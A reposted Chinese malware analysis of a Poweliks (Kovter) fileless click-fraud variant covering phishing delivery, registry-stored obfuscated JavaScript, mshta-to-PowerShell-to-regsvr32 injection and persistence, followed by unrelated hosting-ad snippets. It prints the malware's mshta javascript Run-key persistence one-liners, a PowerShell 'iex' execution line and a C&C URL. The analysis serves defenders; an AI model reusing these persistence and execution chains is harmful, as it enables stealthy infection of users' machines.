Poweliks:不断进化的免文件型恶意软件

Poweliks(实际上应该叫做Kovter)是一款著名的点击欺诈软件,它于2014年首次被曝光,由于它使用了一种特殊的潜伏技术而迅速蜚声天下:它并非隐身于磁盘文件中,而是藏身于让人意想不到的Windows注册表内。实际上,该软件不仅首次面世就一鸣惊人,而且,此后它也一直处于不断进化之中。

本文将向读者介绍Poweliks的一个新变种,它的特点是具备令人难以置信的低检出率。

0×00 摘要

自2015年7月以来,我们一直在监视利用著名的免文件型恶意软件Poweliks来躲避杀毒软件的检测的恶意软件的活动。这款恶意软件可能是一个变种,它的设计目标之一就是“不要显山露水”;与之前的变种不同的是,它虽然没有利用漏洞或UAC绕过技术,但是隐身效果却毫不逊色,并且极少被杀毒软件检测到。好消息是,事实证明行为分析针对这种威胁的效果还是非常好的,因此,杀毒软件公司必须及时利用该技术识别此类威胁,才能为用户提供及时的保护功能。

0×01 传播手段

我们的客户收到了如下所示的伪装成美国航空公司的机票收据的电子邮件。

图1 Poweliks电子邮件

这封电子邮件发自mrsfitness[.]com,看起来像是被攻击者控制的一个域名。

在本例中,该邮件并没有引起网关上安装的杀毒软件和反立即邮件系统的任何怀疑。在该邮件的附件中,包含有一段经过混淆处理后的javascript代码,该代码的作用是触发系统去下载并执行一个恶意的可执行文件。

 

图2 还原后的JavaScript代码

自从7月份监视该软件的活动以来,我们总共收到过三种不同形式的电子邮件:

机票收据

发票

法院传票

该恶意软件的主要攻击对象全部位于美国。

0×02 有效载荷

这个恶意软件下载的文件是经过加密处理的,此外,为了给分析者制造障碍,它的程序代码故意弄得跟一团麻似的,同时,为了成功绕过沙箱分析,它还是针对特定的Virtualbox的。

Filename: 88655116.exe Hash-SHA256: 673b384836483b3db628e3cc2eda5683a209837ea7da0a4c0749ea496e2a644a Size: 412.210

它的检出率依然非常低,并且对于该恶意软件的分类也是不对的。

 

图3 杀毒软件对于Poweliks的检测情况

该恶意软件脱壳之后,会检测是否存在VirtualBox VM,这一行为在之前是我们所没有发现的。在第二个阶段,它会随机生成两个注册表项,然后通过mshta.exe生成一个powershell实例,随后,会用这个powershell继续生成一个注入式的regsvr32.exe实例。下面是相应的注册表项: 

图4 Poweliks的注册表项

在mshta.exe包含有一小段javascript代码,如下所示:

ZKk7pWSkz=”3pVjfxK58″;Z6v7=new%20ActiveXObject(“WScript.Shell”);qojKj0pk=”McEb”;sEAn4=Z6v7.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);mAN16NzLz=”nmOa4g1u”;eval(sEAn4);UtbW0ZYxq=”R5V5xTB”;

很明显,这段代码是经过了混淆处理的,还原后的代码如下所示:

 

图5 还原后的javascript代码

上述代码的作用是,读取刚才创建的注册表项,并执行其内容,这里的内容实际上还是一段混淆后的javascript代码,如果将其还原的话,大致如下所示:

 

图6 注册表项中的javascript代码

这段代码的作用是,对二进制串进行译码,并执行之。由于这个二进制串太长了,所以这里已经将其删除掉了,如果读者需要进行分析的话,可以从http://pastebin.com/mrw4Csja找到。#p#

在解密之后,它看起来像是一个powershell脚本,作用是根据嵌入到该脚本内部的shellcode来创建一个线程。

 

图7 Poweliks中的powershell脚本

这个脚本将会插入到一个环境变量中,之后该变量将直接被传递给powershell:

“C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe” iex $env:vsxf

我们已经完整还原出了这个脚本,如果大家需要分析的话可以从http://pastebin.com/dnkQC1UE下载。那么,这个shellcode又是意欲何为呢? 为了弄清楚这一点,我们必须先将其反汇编,并进行相应的调试才行。这段shellcode的作用是解析一些API(VirtualAlloc()、 ExitProcess()、RegOpenKey()、RegQueryValue()、GetProcAddress()、LoadLibrary()),而这些API的作用则是读取前面提到的注册表项的内容,对其内容进行译码,并执行之。这里的解密例程非常简单,并且会用置换表来存放1到0×100这些递增的数字,这些值是用来对加密字节进行异或运算的:

 

图8 Poweliks的解密例程

这些代码在解密之后就会被运行。它会执行regsvr32.exe,然后将其“掏空”,下面是我们的分析引擎的输出结果:

 

图9 Poweliks的替身regsvr32.exe

下面我们来看看偷梁换柱的具体过程:

 

图10 Poweliks的生成树

要是没有后备机制的话,就不会有Poweliks了,因为有些东西会出错,如果进程由于某种原因出错的话,那么主进程就会试图直接生成一个regsvr32.exe实例,以便为注入做最后的一次尝试。

 

图11 Poweliks的后备注入

Powershell终止后,会给我们留下一个运行状态下的regsvr32.exe实例,它的任务是利用自身生成第二个实例,并完成注入操作等,实际上它要做的事情还不少:首先,将整个恶意软件隐藏到HKCU/Software/Microsoft/Windows/CurrentVersion/Run处的持久性的注册表项中,不过,这里需要用到一个解析技巧,以便使得regedit.exe无法直接读取这个持久性的注册表项:

 

图12 Poweliks的持久性注册表项

下面是用到的一个注册表项,注意其名称中的前导反斜扛:

“a1f309e8″=”mshta javascript:judNSd2v=”4S”;T80G=new%20ActiveXObject(“WScript.Shell”);OlXOQ8j4=”jWqM4PKDvF”;pd6D2R=T80G.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);qeV4j2Wz=”Y7wjctoseg”;eval(pd6D2R);WFNQgoB1b=”idEjYnCb”;” “9460666d”=”mshta javascript:Zfvtt1o3=”uue”;m3S=new%20ActiveXObject(“WScript.Shell”);tMAUk0Ua=”Zc8″;Qs4Xs3=m3S.RegRead(“HKCU\\software\\ZiqReaBa\\Xp20Zk”);q9FywZTi=”X”;eval(Qs4Xs3);XFCt5IgZO=”IGrWu”;”

即使没有经过还原处理,我们依然可以看出它们依旧是要利用注册表项中的javascript代码从事感染活动。严格来讲,Poweliks并不是一个纯粹的免文件型恶意软件,但是它离这个概念已经非常接近了。达到持久性的潜伏目的之后,它还会再新建一些注册表项,尤其是会用它们来隐藏一个用户代理及其相应的命令请求:

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)

这个用户代理是从下面的列表中选出来的:

Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

这样以来,就可以进行浏览器注入攻击了,那些倒霉的用户会看到一些新的广告和虚假的警告,由于Poweliks具有下载功能,所以一旦系统感染了它,理论上就可能进一步下载其他类型的恶意软件。根据我们的监控,目前发现它会访问一个C&C服务器,地址为 H**p://185.102.139.93/form2.php。尽管在二进制代码中嵌入了许多IP,但我们没有展开进一步的实际调查,不过它们很可能是一些流氓AD服务器。

0×03 总结

当前,Poweliks的功能依旧保持强大,其制作的工程化水平也是可圈可点的。由于该恶意软件几乎不藏身于文件之中,因此,它能够愚弄大多数的安全解决方案。在Poweliks之前的版本中,它曾经使用过一些安全漏洞和不同的UAC绕过技术,不过就近期的监控来看,当前的版本好像没有再沿用这些手段,不过,尽管它没有对大部分代码进行重构,但是其检出率依然保持很低。事实再次证明,相对于基于标准特征的杀毒解决方案来说,基于人工智能的行为分析技术在检测和防护新型或进化中的安全威胁方面要更加有效。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/137220.html<

(0)
管理的头像管理
上一篇2025-03-02 11:07
下一篇 2025-03-02 11:09

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注